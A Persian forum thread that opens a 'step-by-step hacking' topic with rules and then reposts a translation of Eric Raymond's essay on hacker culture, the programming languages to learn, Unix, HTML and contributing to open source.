spyman

_.-* آموزش قدم به قدم هک *-._

36 پست در این موضوع

ارسال شده در (ویرایش شده)

سلام خدمت همه دوستان

این تاپیک رو فقط به آموزش قدم به قدم هک اختصاص دادیم که همگی شما با تمامی مباحث آشنا شوید:

قوانین تاپیک :

1 - از دادن پست ناقص و نا مفهوم و همچنین نوشتن سوال و جواب در این تاپیک ممنوع است . به تایپیک _.-*سوالات هک و امنیت*-._ بروید .

2 - جواب پیشنهاد و انتقاد شما در تایپیک _.-*سوالات هک و امنیت*-._ قرار داده شود .

3- جهت بالا بردن امنیت جومیلا به تایپیک _.-*دیوار آتش برای جومیلا*-._ قرار داده شود .

4- _.-*بازار باگ جوملا مخلوت ( جدام نمیشه . درهم و برهمه )*-._

5 _.-*نفوذ به سیستم مدیریت محتوای Joomla به همراه مثال*-._

6 - در صورتی که درخواست ایجاد بخش یا قسمتی دارید این مورد دارید پیام خصوصی کنید تا در اینجا دست بندی کنیم .

7 - در صورتی که با پستی موافق هستید فقط دگمه تشکر رو بزنید تا مدیریت هم از امار موافق اون مورد اطلاع پیدا کنه.

8- تمرینات تو گروه هک انجام میدم و کسای که میخوان بیان پیام خصوصی بدن .

مهم : بعضی از آموزشها از سایت مفید آشیانه است .

یا علی

ویرایش شده در توسط spyman
1 کاربر پسند دیده است

Share this post


Link to post
Share on other sites
آموزش ووکامرس قالب جوملا قالب وردپرس قالب رایگان وردپرس قالب رایگان جوملا هاست نامحدود هاست جوملا هاست لاراول هاست وردپرس هاست ارزان هاست ربات تلگرام خرید دامنه آموزش ساخت ربات تلگرام با php آموزش html و css آموزش لاراول آموزش cPanel آموزش php آموزش سئو وردپرس آموزش امنیت وردپرس آموزش وردپرس آموزش فرم ساز RSform آموزش سئو جوملا آموزش فروشگاه ساز Hikashop آموزش فروشگاه ساز ویرچومارت آموزش طراحی سایت آگهی تبلیغاتی آموزش امنیت جوملا آموزش طراحی سایت فروش فایل آموزش طراحی قالب ریسپانسیو با Helix آموزش جوملا 3 آموزش ساخت ربات دکمه ی شیشه ای آموزش ساخت ربات همکاری در فروش آموزش ساخت ربات جذب ممبر آموزش ساخت ربات ضد اسپم آموزش ساخت ربات پیوست فایل سورس ربات مدیر گروه | ربات مدیر گروه همسریابی

چگونه میتوان هکر واقعی شد ؟, راهی سخت و طولانی اما ممکن برای هکر شدن !

امیدوارم با این پست دیگر شاهد این سوال از طرف تازه کارها نباشیم . این مقاله که ترجمه شده مقاله آقای Eric Steven Raymond هست که خیلی از فعالان اینترنتی این مقاله رو به زبان فارسی ترجمه کردند . این مقاله ترجمه آقای آرش بیژن زاده هست که عیناً براتون کپی میکنم .

اریک ریموند (Eric Steven Raymond) می گوید: چگونه یک هکر شویم؟

بخش اول

هکر (hacker) چیست؟

پرونده اصطلاحات(Jargon File) شامل تعاریفی از' هکر' است که عموما در ارتباط با تعریف تکنیکی آن همراه با وصف سرخوشی حل مشکلات و مرتفع کردن محدودیت هاست. اگر شما می خواهید بدانید چگونه هکر شوید تنها دو تعریف به دردتان می خورد.

یک اجتماع ، یک فرهنگ مشترک ، از برنامه نویسان خبره و جادوگران شبکه که پیشینه آن از میان دهه ها به مینی کامپیوترهای اشتراک زمانی (time-sharing) و اولین تجریه های ARPAnet می رسد. اعضای این فرهنگ اصطلاح ' هکر' را ساختند . هکرها اینترنت را ایجاد کردند. آنان سیستم عاملUnix را آنچنان که امروز هست ایجاد کردند. هکرها usenet را اجرا کردند. آنان باعث شدند شبکه جهانی (World wide web) کار کند. اگر شما دارای این فرهنگ هستید و دیگران می دانند که شما چه کسی هستید و هکر می نامندتان؛ پس شما هکر هستید!

نگرش هکر محدود به 'هکر نرم افزار' نمی شود ، مردمانی هستند که منش هکر را به سایر زمینه ها مانند الکترونیک یا موسیقی سرایت می دهند. در حقیقت شما می توانید این فرهنگ را در بالاترین سطوح هر علم و هنری بیابید. هکرهای نرم افزار این هم روحان را در هر جا می شناسند، آنان را 'هکر ' می نامند و برخی معتقدند که طبیعت هکر واقعا مستقل از زمینه ایست که او در آن کار می کند. اما در تمام این مقاله ما بطور خاص بر مهارت ها و منش های هکر نرم افزار، و فرهنگ های مشترکی که واژه ی 'هکر' را بوجود آورد تمرکز خواهیم کرد.

گروه دیگری از مردم هستند که متکبرانه خود را هکر می نامند اما نیستند! این مردمان (که بیشتر نرهای نابالغند) کسانی هستند که سیستمهای کامپیوتری و مخابراتی را 'تخریب' می کنند. هکرهای واقعی اینان را 'شکننده (Cracker) ' می نامند و هیچ کاری به آنان ندارند. هکرهای واقعی اعتقاد دارند که اینان تنبل، بی مسئولیت و نه چندان باهوشند و می دانند که توانایی نفوذ به سیستمهای امنیتی شما را هکر نمی کند. همانگونه که دزدان اتومبیل را هیچگاه نمی توان مکانیک نامید. متأسفانه بسیاری از روزنامه نگاران و نویسندگان ناآگاهانه واژه ی' هکر ' را برای توصیف شکننده ها (Crackers) بکار می برند و هکرها را تا سرحد مرگ عصبانی می کنند.

تفاوت اصلی این است: هکرها می سازند اما شکننده ها ویران میکنند.

اگر می خواهید هکر باشید (همواره ) مطالعه کنید. اما اگر می خواهید شکننده شوید گروه خبری alt.2600 را بخوانید و آماده باشید که ۵ تا ۱۰ سال را در زندان بگذرانید، پس از اینکه فهمیدید به اندازه ای که فکر می کردید زرنگ نیستید. این تمام چیزی است که درباره ی شکننده ها (Crackers) خواهم گفت.

منش هکر

منش هکر، هکر می آفریند و یاری می کند. او به آزادی و یاری متقابل معتقد است؛ برای آن که هکر نامیده شوید باید چنان رفتار کنید که گویا چنین منشی دارید و برای اینکه اینگونه رفتار کنید باید واقعا آن را داشته باشید. اگر به پروراندن منش هکر تنها برای پذیرفته شدن در این فرهنگ می اندیشید در اشتباه هستید! چنین منشی داشتن همواره کمکتان میکند یادگیرید و با انگیزه باشید. مانند تمام هنرها بهترین راه استاد شدن، نگاه کردن به استاد و تقلید از اوست - نه فقط در باب تفکر که حتی در احساس!

همانگونه که در شعر ذن زیر آمده است:

تا که راه یابی: : To follow the path

به استاد بنگر ، ,look to the master

به دنبالش باش ، , follow the master

با او برو ، ,walk with the master

از نگاه او بنگر ، , see through the master,

استاد شو! . become the master

پس اگر میخواهید استاد شوید، آن قدر ذکرهای زیر را بگویید(افکار زیر را با خود مرور کنید) تا باورشان کنید:

۱- جهان پر از مشکلات جذابی است که میباید حل گردند.

هکر بودن هیجان دارد، اما هیجانی که نیازمند تلاش فراوان است و تلاش کردن نیازمند انگیزه. ورزشکاران موفق انگیزه خود را از لذتی که در جسمشان احساس میکنند، می گیرند؛ در گذر از حدود جسمانیشان. شما نیز باید از حل مشکلاتتان مشعوف شوید. از پیشرفت مهارتتان و زورآزمایی اندیشه ی تان.

اگر شما به طور ذاتی چنین شخصی نیستید باید این گونه گردید و گرنه انرژیتان با شهوت، پول، شهرت و ... به هدر خواهید داد.

(همچنین باید به توانایی یادگیریتان ایمان آورید - باور به اینکه: گر چه تمام آن چه را لازم دارید نمی دانید اما اگر تنها بخشی از آنرا کشف کنید توانایی حل باقی را بدست می آورید)

۲-هیچ مشکلی نباید دوبار حل گردد اندیشه های خلاق گرانبها و محدودند.

ذهن های خلاق باارزش هستند، منابعی محدود. آنان نباید با دوباره کشف کردن چرخ، به هدر بروند در حالی که هزاران معمای حل نشده جذاب باقی است. برای آن که کرداری مانند یک هکر داشته باشید باید باور کنید که وقت هکرها گرانبهاست - آنچنان که گویی یک وظیفه روحانی است که اطلاعتان را مبادله کنید، مشکلات را حل کنیدو راه حل ها را به دیگر هکرها بدهید تا آنان مشکلات جدیدتر را مرتفع کنند. بجای آنکه دائما حول همان ها بگردند.

(مجبور نیستید باور داشته باشید که تمام آنچه را خلق می کنید باید ببخشید- گرچه هکرهایی که چنین می کنند محترم ترین آنان هستند - با ارزش های هکر سازگار است که مقداری از آن را بفروشید تا برای خود خورد و خوراک و کامپیوتر تهیه کنید. چه خوب است اگر استعداد هکری خود را برای حمایت از خانواده و حتی ثروتمند شدن بکار گیرید، تا هنگامی که شرافت هنرتان و رفیقان هکرتان را فراموش نکنید.)

۳ -کسالت و بیکاری شیاطینند.

هکرها (و عموما انسانهای خلاق) هرگز نباید کسل شوند یا مجبور به بیگاری شوند چرا که در این صورت آنها از انجام کاری که تنها آنان قادر به انجام آنند باز می مانند. این هرز رفتن همه را آزار می دهد. بنابراین کسالت و بیگاری نه تنها ناخوشایند بلکه واقعا شیاطینند.

برای اینکه مانند یک هکر رفتار کنید باید باور کنید که می خواهید تمام کسالت آوران را کنار بزنید نه تنها برای خودتان بلکه برای همه (خاصه سایر هکرها).

(یک استثناء بارز وجود دارد. هکرها گاهی کارهایی انجام می دهند که به نظر تکراری و خسته کننده می رسند، تنها برای پاکسازی ذهن شان یا برای بدست آوردن تجربه ای خاص. اما به اختیار ،هیچ فرد اندیشمندی نباید مجبور به پذیرفتن موقعیت کسل کننده ای گردد.)

۴-آزادی خوب است.

هکرها ذاتا ضد استبدادند. هر که به شمادستور دهد، شما را از پرداختن به آنچه عاشق کشف آنید باز می دارد؛ گر چه آنان همواره برای دستوراتشان دلایل ابلهانه ی خود را دارند. با منش استبدادی باید مبارزه شود هر جا که پیدا شود چرا که شما و تمام هکرها را تحت فشار می گذارد .

(این به مفهوم مخالفت کلی با اتورتیه نیست. کودکان باید راهنمایی شوند و جنایتکاران مراقبت. هکر ممکن است نوعی از اتورتیه را قبول کند تا بیشتر از زمانی که برای اجرای دستورات از دست می دهد، بدست آورد. اما این تنها یک معادله آگاهانه است. یک قدرت فردی که مستبدان می خواهند قابل قبول نیست.)

مستبدان تنها با سانسور و پنهان کاری رشد می کنند و به همکاری داوطلبانه اعتمادی ندارند. آنها فقط نوعی از همکاری را دوست دارند که در کنترل آنان باشد، بنابراین برای اینکه یک هکر باشید باید دشمنی ذاتی با سانسور و رازداری، اعمال قدرت و سیاست برای مجبور ساختن افراد متعهد را در خود بپرورانید و باید که براین باور عمل کنید.

۵ -منش جایگزین مهارت نیست.

برای آنکه هکر شوید مجبور به پروراندن مواردی از این منش هایید. اما تنها تقلید از این منشها شما را هکر نمی سازد همانگونه که شما را قهرمان یا خواننده نمی کند. هکر شدن احتیاج به تیزهوشی، تمرین، تمرکز و کار سخت دارد.

بنابراین شما باید یاد بگیرید که به منش مشکوک و به مهارت احترام بگذارید. هکرها نمی گذارند فضولان وقت شان را هدر دهند و به مهارت ایمان دارند به خصوص مهارت در درک کردن گرچه مهارت در هر زمینه ای دلپذیر است. مهارت در زمینه های مورد نیاز که متخصصان کمتری دارد بهتر است و تخصص در زمینه های مورد نیاز که به فکر متبحر، استادی و تمرکز نیاز دارند، بهترین.

اگر شیفته مهارت باشید از پروراندن آن در خود لذت خواهید برد . کار سخت و تمرکز بجای کاری کسالت بار به بازی سخت شبیه می گردد و این برای هکر شدن حیاتی است .

Share this post


Link to post
Share on other sites

مهارت های پایه ای برای هکر شدن

منش هکر حیاتی است اما مهارت او حیاتی تر است. منش جایگزین مهارت نمی گردد و مجموعه مهارت های پایه ای خاصی وجود دارند که باید در خود بپرورانید تا هکرها شما را هکر بنامند.

این ابزار به آرامی تغییر میکند با گذشت زمان تکنولوژی مهارت های جدیدی ایجادمی کند و قدیمی ها را بی مصرف میکند. مثلا در گذشته زبان ماشین شامل این مجموعه بود، در حالیکه HTML اخیرا به این مجموعه اضافه شده است. اما این مجموعه در حال حاضر مشخصأ شامل موارد زیر است:

۱ - بیاموزید که چگونه برنامه بنویسید.

این مسلما پایه ای ترین مهارت هکر است. اگر شما هیچ زبان برنامه نویسی بلد نیستید، پیشنهاد می کنم با پیتون شروع کنید. پتیون تمیز طراحی شده است. به خوبی مستند سازی شده و تقریبأ ابتدایی است. با آنکه پتیون زبان اولیه خوبی است، یک اسباب بازی نیست. بلکه بسیار قدرتمند و قابل انعطاف است و مناسب پروژه های بزرگ. من یک مقاله مفصل تر در مورد انقلاب پیتون نوشته ام. خودآموزهای خوبی می توانید در وب سایت پیتون پیدا کنید.

جاوا زبان بسیار خوبی است البته بسیار مشکل تر از پیتون است، اما برنامه سریع تری ایجاد می کند و فکر می کنم انتخاب فوق العاده ای برای زبان دوم است .

البته شما نمی توانید با دانستن تنها دو زبان به مهارتهای یک هکر و یا حتی یک برنامه نوبس خوب برسید. شما باید بدانید چگونه در مورد مشکلات برنامه نویسی، جدای از زبان برنامه نویسی فکر کنید. برای آنکه یک هکر واقعی شوید، باید به جایی برسید که بتوانید یک زبان جدید را در دو، سه روز یاد بگیرید. این نیازمند آن است که چندین زبان کاملأ متفاوت را یاد بگیرید.

اگر به صورت جدی به برنامه نویسی روی آورید، باید C زبان پایه ایUnix را یاد بگیرید. ++C بسیار شبیه C است؛ اگر شما یکی از آنها را یاد بگیرید، یادگرفتن دیگری مشکل نخواهد بود. اما هیچ کدام به عنوان زبان اول قابل یادگیری نیستند. در واقع، هر چقدر از برنامه نویسی به زبان C پرهیز کنید، بازده تان بیشتر خواهد بود.

C بسیار کاراست و منابع کامپیوتر را کمتر مصرف می کند. متأسفانه C این کارایی را با تلاش بسیار شما برای مدیریت سطح پائین منابع (مانند حافظه) بدست می آورد. این نوع برنامه نویسی سطح پائین بسیار پیچیده و باگ -دوست است و زمان بسیاری برای رفع اشکال (Debug) لازم دارد. با قدرت و سرعتی که کامپیوترهای امروز دارند این معامله خوبی نیست. تیز هوشانه تر است که از زبانی استفاده کنیم که زمان کامپیوتر را بیشتر می گیرد و زمان برنامه نویس را کمتر. مانند ، پیتون.

زبانهای دیگری هستند که ارزش خاصی برای هکرها دارند. http://www.perl.com/Perl به جهت دلایل کاربردی آن با ارزش است، به طور گسترده ای در طراحی صفحات فعال وب و مدیریت سیستم به کار گرفته شده است و حتی اگر شما هرگز با Perl برنامه ننوبسید، باید قادر به خواندن آن باشید. بسیاری از مردم از Perl در جایی استفاده می کنند که من پیتون را پیشنهاد کردم. برای اجتناب از برنامه نویسی C در جاهایی که نیاز به کارایی C ندارید. شما به فهمیدن کدهای Perl احتیاج خواهید داشت.

لیسپ (LISP)به دلایل دیگری ارزشمند است – برای روشن نگری عینی که پس از یادگیری آن بدست خواهید آورد . حتی اگر هیچگاه از لیسپ به طور جدی استفاده نکنید، مسلما یادگیری آن شما را برنامه نویس بهتری خواهد کرد. (شما می توانید مهارت های اولیه ی LISP را به راحتی بانوشتن و تغییر دادن Modها برای ویرایشگر متن Emacs کسب کنید)

حقیقتا بهتر است هر پنج زبان ( پیتون ، جاوا ، C/++C ، پرل و LISP) را یاد بگیرید. جدا از ارزشی که این زبانها برای هکرها دارند، آنان رویکردهای کاملا متفاوتی برای برنامه نویسی دارند که مسا ئل با ارزشی به شما یاد می دهند.

نمی توانم دستورالعمل خاصی برای یادگرفتن برنامه نویسی بدهم (کار پیچیده ای است)، اما می توانم بگویم که کتاب ها و کلاسها به شما کمک نخواهند کرد (اکثر هکرها خودشان یاد گرفته اند) شما می توانید روشهایی را از کتاب فراگیرید اما ساختار فکری که این روشها را به مهارت واقعی تبدیل می کند، تنها با تمرین و شاگردی کردن بدست می آید. وظایف شما شامل ۱) خواندن کد و ۲) نوشتن کد خواهد بود.

یادگیری زبان برنامه نویسی مانند یادگیری نوشتن یک زبان واقعی است. بهترین راه خواندن چیزهایی است که استادان امر نوشته اند و سپس نوشتن برنامه ای از خودتان است؛ بسیار بیشتر مطالعه کنید، کمی بیشتر بنویسید، بیشتر مطالعه کنید، بیشتر بنویسید.... و تا آنجا ادامه دهید که نوشته هایتان قدرت و صلابت کارهای استادتان را پیدا کند.

سابقا پیدا کردن کد خوب مشکل بود، برنامه های بزرگی که متن آنها در دسترس بود تا هکرها بخوانند و آزمایش کنند، بسیار محدود بود. اکنون این مسئله به طور قابل ملاحظه ای تغییر کرده است؛ اکنون نرم افزارها ابزارهای برنامه نوبسی و سیستمهای عامل بازمتن (که تماما بوسیله هکرها نوشته شده است) بسادگی قابل دسترس است - که مرا به نوشتن بخش بعد ترغیب می کند...

۲ - یکی از یونیکس های باز-متن را بگیرید و استفاده و اجرا کردن آن را بیاموزید.

فرض می کنیم یک کامپیوتر شخصی دارید یا لااقل به آن دسترسی دارید (بچه های امروزی خیلی راحت به آن دسترسی دارند:-)). مهمترین قدم اولیه ای که هر مبتدی برای هکر شدن می تواند بردارد، گرفتن یک کپی از لینوکس (Linux) یا بی اس دی-یونیکس (BSD-Unix)؛ نصب کردن آن روی کامپیوتر شخصی و اجرای آن است.

بله ، سیستم عاملهای فراوانی در کنار یونیکس وجود دارد. اما تمام آنها به صورت باینری توزیع می شوند و شما قادر به خواندن و تغییر کد آن نیستید. تلاش برای ایجاد تغییر بر روی یک کامپیوتر داس یا ویندوز یا MacOS مانند این است که بخواهید در لباس شوالیه رقص بیاموزید.

تحت OS/X این کار ممکن است ، اما فقط بخشی از این سیستم بازمتن است. شما به موانع بسیاری برخورد خواهید کرد و باید مواظب باشید تا عادت بد تکیه بر کد اختصاصی اپل را در خود توسعه ندهید. در صورتی که بر روی یونیکس ها تمرکز کنید، چیزهای مفیدتری فراخواهید گرفت.

یونیکس سیستم عامل اینترنت است. اگر اینترنت را بدون یونیکس یاد می گیرید، هیچ وقت نمی توانید یک هکر اینترنت باشید. به این خاطر فرهنگ هکر امروز کاملأ یونیکس-محور است. (این مطلب همیشه صادق نبوده است . بسیاری از هکرهای با سابقه از این موضوع رضایت ندارند اما پیوند محکم یونیکس و اینترنت آنچنان قوی است که حتی قدرت شیطانی مایکروسافت نیز نتوانسته است خلل چندانی در آن ایجادکند.)

پس یک یونیکس نصب کنید. من به شخصه لینوکس را دوست دارم اما راههای دیگری هم وجود دارد ( بله! شما می توانید مایکروسافت ویندوز و Linux رابا هم داشته باشید). یاد بگیرید، اجرا کنید، ور بروید، کدهایش را بخوانید و تغییرشان دهید. ابزار برنامه نویسی بهتری در اختیار خواهید داشت، مانند C , LISP , Python و Perl که در سیستم عامل ویندوز خواب داشتن آن ها را می بیند. بسیار جذاب و سرگرم کننده خواهد بود و آنچنان در دانش غرق میشوید که حتی متوجه آن نمی شوید تا هنگامیکه به مانند یک استاد هکر به پشت سرتان بنگرید!

برای اطلاعات بیشتر درباره ی یادگیری Unix به The Loginataka نگاه کنید. همین طور شمامی توانید نگاهی بهThe Art Of Unix Programing (هنر برنامه نویسی در یونیکس) بیاندازید.

برای آن که چیز هایی از لینوکس دست گیرتان شود به سایت Linux Online بروید؛ شما می توانید از آن جا دانلود کنید یا (ایده ی بهتر) یک گروه کاربران لینوکس محلی پیدا کنید تا به شما در نصب لینوکس کمک کنند. از دیدگاه یک کاربر تازه کار تمام توزیع های لینوکس بسیار شبیه یکدیگرند.

شما می توانید راهنما و منابعBSD Unix را در سایت www.bsd.org پیدا کنید.

من نیز مقالاتی مبتدی درباره ی پایه های یونیکس و لینوکس نوشته ام.

(توجه : من در حقیقت نصب کردن هیچ کدام از Linux یا BSDها را به طور خاص به شما توصیه کنم ، برای هر تازه کاری هر کدام از این ها یک پروژه ی انفرادی است. برای لینوکس، یک گروه کاربران لینوکس در محل خود پیدا کنید و از آنها برای کمک سوال کنید.)

۳ -استفاده از وب و نوشتن HTML را یاد بگیرید.

بسیاری از چیزهایی که فرهنگ هک ساخته است خارج از افق دید شماست، کمک به کارخانه ها، دفاتر و دانشگاه ها بدون اینکه تأثیر مشخصی در زندگی غیر هکرها نداشته باشد. در این میان اینترنت یک استثناء عمده است، سرگرمی درخشان هکری که حتی به اعتراف سیاست مداران در حال تغییر دادن جهان است . تنها به همین خاطر (و همچنین بسیاری از دلایل مشابه دیگر) یاد گرفتن کار در اینترنت احتیاج دارید.

این فقط به این معنی نیست که چگونه از یک مرورگر استفاده کنید(!) بلکه به معنی یادگیری HTML است . اگرهنوز برنامه نویسی یاد نگرفته اید، نوشتن HTML عادت های ذهنی را برایتان فراهم می کند که به یادگیری برنامه نویسی کمک می کند. پس برای خودتان یک Homepage درست کنید. سعی کنید از XHTML استفاده کنید که نسبت به HTML سنتی تمیزتر است.(منابع بسیار خوبی برروی وب برای تازه کارها وجوددارد؛ این یکی از آن هاست!)

اما نوشتن یک Homepage به هرحال آنقدر خوب نیست که شما را هکر کند. وب پر از Homepage است. بیشترشان بی ارزشند. لجن های بی محتوا، فضولات شیک، اما مطمئن باشید که لجن همیشه لجن است. (برای اطلاعات بیشتر صفحه یTheHTML Hell را ببینید.)

برای با ارزش بودن؛ Homepage تان باید محتوا داشته باشد و برای هکرهای دیگر جذاب و یا آموزنده باشد. تمام اینها شمارا به بخش بعد هدایت می کند...

۴ -اگر انگلیسی بلد نیستید آن رایاد بگیرید.

به عنوان یک آمریکایی بخاطر آنکه زبان مادریم انگلیسی است قبلأ از ذکر این موضوع ناراحت بودم. حداقل این می تواند یک امپریالیسم فرهنگی تلقی گردد. ولی تعدادی از غیر انگلیسی زبانان از من خواستند که این موضوع را متذکر شوم که انگلیسی زبان فرهنگ هکر و اینترنت محسوب می گردد و شما احتیاج خواهید داشت که این زبان را یادبگیرید تا در جامعه هکرها فعال شوید.

این موضوع واقعیت دارد. حدود سال ۱۹۹۱ متوجه شدم که بسیاری از هکرها که انگلیسی زبان دومشان بود آن را برای بحث های تکنیکی شان بهره می گرفتند، حتی اگر زبان مادریشان یکی بود. به من اطلاع دادند که انگلیسی بعلت غنی تر بودن به لحاظ لغات فنی برای این کار مناسب تر است . به همین دلیل ترجمه متن های فنی که در زبان انگلیسی هستند، غالبا رضایت بخش نیست. لینوس توروالدز که یک فنلاندی است، کد خود را به زبان انگلیسی تشریح کرده است (و هرگز غیر از این روش، روش دیگری را پیش نگرفته است) تسلط بر انگلیسی، عامل مهمی در جمع کردن جامعه جهانی برنامه نویسان لینوکس بوده است. این مورد نمونه قابل ذکری در مورد نقش زبان انگلیسی است.

Share this post


Link to post
Share on other sites
سلام خدمت همه دوستان

این تاپیک رو فقط به آموزش قدم به قدم هک اختصاص دادیم که همگی شما با تمامی مباحث آشنا شوید:

قوانین تاپیک :

1 - از دادن پست ناقص و نا مفهوم و همچنین نوشتن سوال و جواب در این تاپیک ممنوع است . به تایپیک سوال و جواب هک بروید .

2 - جواب پیشنهاد و انتقاد شما در تایپیک سوالات هک و امنیت قرار داده شود .

3 - در صورتی که درخواست ایجاد بخش یا قسمتی دارید این مورد دارید پیام خصوصی کنید تا در اینجا دست بندی کنیم .

5 - در صورتی که با پستی موافق هستید فقط دگمه تشکر رو بزنید تا مدیریت هم از امار موافق اون مورد اطلاع پیدا کنه.

مهم : بعضی از آموزشها از سایت مفید آشیانه است .

یا علی

با سلام،

بسیار عالی، ما هم از مباحث هک و امنیت که پایه های در امنیت وب سایت ها است، استقبال می کنیم. (اگر می خواهی سامانه ی امنی باشی، در اولین قدم به هر طریقی که میتونی، به سامانه ات نفوذ کن)

اگه مباحث خوب پیش رفت، یه انجمن جداگانه برای این منظور ایجاد می کنیم.

پیروز باشید

Share this post


Link to post
Share on other sites

موقعیت فرهنگ هکر

مانند بسیاری از فرهنگ های برپایه ی روابط غیر اقتصادی، هکرگری نیز با شهرت اداره می گردد، شما سعی می کنید که مسئله جالبی را حل کنید اما اینکه آن مسئله چقدر قابل تأمل است یا راه حل شما واقعا چقدر خوب است، چیزی است که تنها استادان شما صلاحیت تأیید آن را دارند.

به همین ترتیب، وقتی وارد بازی هکر ها شدید، مدارجتان را با آنچه سایرین در مورد شما فکر می کنند بدست خواهید آورد (به این علت است که تا هنگامی که دیگران شما را هکر نمی دانند واقعأ هکر نیستید). این حقیقت بوسیله پنداری که هک را یک کار منزوی گرایانه می داند، محو شده است؛ هم چنین با وجود این تابوی فرهنگ هکری (که در حال از میان رفتن ولی فعلا همچنان نیرومند است) در برابر پذیرش اینکه تصدیق خود یا دیگری، تنها در گیر انگیزه یک شخص باشد.

به خصوص ، هکرگری نوعی از فرهنگ است که مردم شناسان به آن فرهنگ هدیه می گویند. شما شهرت و موقعیت خود را نه با سلطه بر دیگر مردم، نه با زیبایی یا در اختیار داشتن چیزهای مورد نیاز مردم بلکه با دادن هدیه بدست می آورید. به خصوص با دادن وقت خود، خلاقیت و مهارتتان.

پنج چیز وجود دارد که با انجام آن مورد احترام هکرها قرار می گیرید:

۱ - برنامه های باز- متن بنویسد

اولین (محوری ترین و سنتی ترین) روش، نوشتن برنامه هایی است که هکرهای دیگر آن را جالب و مفید می دانند و سپس دادن کد منبع برنامه ها به دیگران.

(ما قبلا این را "نرم افزار آزاد" می نامیدیم ، اما این اصطلاح موجب اشتباه بسیاری از مردم شد که نمی دانستند منظور از آزاد دقیقا چیست، امروزه بسیاری از ما حداقل به نسبت ۲ به۱ اصطلاح "بازمتن" (open-source) را ترجیح می دهیم.)

محترم ترین هکر ها [1] افرادی هستند که برنامه های بزرگی نوشته اند - برنامه های پرقدرتی که احتیاجات گسترده ای را مرتفع می سازد - و آنان را در دسترس همگان قرار داده اند.

۲ - به آزمایش ورفع اشکال کردن برنامه های بازمتن کمک کنید

هکرها به کسانی که نرم افزارهای بازمتن را آزمایش و رفع اشکال می کنند، یاری میرسانند. در این دنیای ناقص ناگزیر به صرف دقت بسیاری برای رفع اشکال برنامه ها هستم، به این علت است که مولفان بازمتن میگویند یک آزمایشگر خوب ( تعریف کردنش دشوار است؛ مشکلات در ضمن انتشار، کسی که بتواند اشتباهات یک انتشار عجله ای را تحمل کند و مشکلات نرم افزار را گزارش کنند) سزاوار یاقوت به اندازه ی وزنشان هستند. حتی یک نفر از آنان میتواند رفع اشکال کردن را از یک کابوس طولانی به یک دردسر عبرت آموز تبدیل کند. اگر مبتدی هستید یک نرم افزار در حال برنامه نویسی پیدا کنید و یک آزمایشگر خوب باشید. یک پیشرفت طبیعی از کمک به آزمایش برنامه تا کمک به رفع اشکال کردن آن و بهتر کردن آن است. از این راه چیزهای بسیاری یاد می گیرید و روابط خوبی با افرادی که بعدا شما را کمک خواهند کرد بر قرار خواهید کرد.

۳ -اطلاعات خوب را منتشر کنید

کار خوب دیگری که می توانید بکنید جمع آوری و دستچین کردن مطالب جالب و مفید در برگه های وب یا پرونده هایی مانند سؤالات متداول ( FAQ ) و منتشر کردن آن است. گردآورندگان مجموعه سؤالات متداول (FAQ) به اندازه برنامه نویسندگان بازمتن مورد احترام هستند.

۴ -به پایداری شالوده ی کار کمک کنید

فرهنگ هکر (و مهندسی اینترنت بعنوان شاخه ای از آن) با داوطلبان به پیش می رود. بسیاری از کارهای کوچک ولی ضروری وجود دارند که باید انجام شوند. مدیریت لیست های پستی و گروههای خبری، مرتب کردن آرشیو نرم افزارهای بزرگ، گسترش RFCها و سایر استانداردهای فنی.

مردمی که این کارها را انجام می دهند مورد احترام فراوان هستند. چرا که همه می دانند این نوع مسئولیت چقدر زمانبر است در حالیکه جذابیت زیادی مانند بازی کردن با کد هم ندارد. انجام آنها نشاندهنده ی ایثارگریست.

۵ - به خود فرهنگ هکر کمک کنید

در انتها می توانید به خود فرهنگ کمک کنید و آن را منتشر کنید (مثلأ با نوشتن مقاله ای در مورد اینکه چگونه هکر شویم :-) ). گرچه این کاری نیست که در همان ابتدا انجام دهید تا وقتی که شهرت خوبی در بین هکرها بدست آورید.

فرهنگ هکر، رهبر به معنی دقیق آن ندارد. اما قهرمانان، پیران ، مورخان و سخنگویان زیادی دارد. بعد از این که به اندازه ی کافی در سنگرها مدت زیادی را سپری کنید، می توانید یکی از آنها شوید. باید بدانید که هکرها به منیت آشکار پیران خود بدبینند؛ رسیدن به این درجه از شهرت آشکارا خطرناک است. به جای تلاش برای رسیدن به آن موقعیتتان را چنان بسازید که در مسیرشما افتد. سپس در مقامتان فروتن و مهربان باشید.

رابطه ی هکر / نرد “Nerd”

ارتباط هکر و نرد بر خلاف افسانه مشهور، برای هکر بودن اجباری بر نرد بودن نیست (نرد به شخصی گفته می شود که تمام زندگی او بر کامپیوتر/تکنولوژی استوار است -مترجم -). اما به هرحال نرد بودن کمکتان می کند و بسیاری از هکرها اینگونه اند. نرد بودن کمکتان می کند که بر مهمترین مسائل مانند فکر کردن و هک کردن تمرکز داشته باشید.

به همین خاطر بسیاری از هکرها صفت نرد بودن و حتی سرسختانه تر 'geek' را به عنوان شعار برگزیده اند. روشی برای بیان جداییشان از انتظارات عوامانه اجتماع - برای بحث بیشتر به صفحه ی geek مراجعه کنید.

اگر شما بتوانید به اندازه کافی روی هک کردن تمرکز کنید در حالیکه به زندگیتان هم برسید، بسیار عالیست. امروزه انجام این کار از ۱۹۷۰ که من تازه کار بودم بسیار ساده تر است؛ جریان غالب فرهنگی با تکنو- نردها بسیار مهربانتر است و تعداد کسانی که می فهمند هکرها عاشقان و همسران بلند مرتبه ای هستند هر روز زیادتر می شود.

اگر شما بخاطر نرد بودنتان به هکر بودن علاقه مند شده اید هم خوب است! حداقل برای متمرکز شدن مشکلی نخواهید داشت. شاید هم در آینده از انزوا درآمدی!

نکاتی در باب طریقت

نکاتی در باب طریقت باز می گویم که شما برای هکر شدن باید ساختار فکری هکری بدست آورید. چیزهایی هست که هنگامیکه کامپیوتر ندارید می توانید انجام دهید. آنها جایگزین هک کردن نمی شوند (هیچ چیز نمی شود) اما بسیاری از هکرها انجامشان را دوست دارند و احساس می کنند با انجام آنها به نوعی به روح هک کردن نزدیک می شوند.

-بیاموزید که زبان مادریتان را خوب بنویسید. گرچه معروف است که برنامه نویس ها نمی توانند بنویسند، یک تعداد غافلگیر کننده ای از هکرها (تمام بهترین هکرهایی که من می شناسم) نویسندگان توانایی هستند.

-داستانهای علمی - تخیلی بخوانید. به جلسات داستانهای علمی بروید. (جای خوبی که می توانید هکرها و هکر دوستان را ببینید.)

-ذن تمرین کنید و/ یا به هنرهای رزمی بپردازید (انظباط روحی در جهات بسیاری شبیهاند)

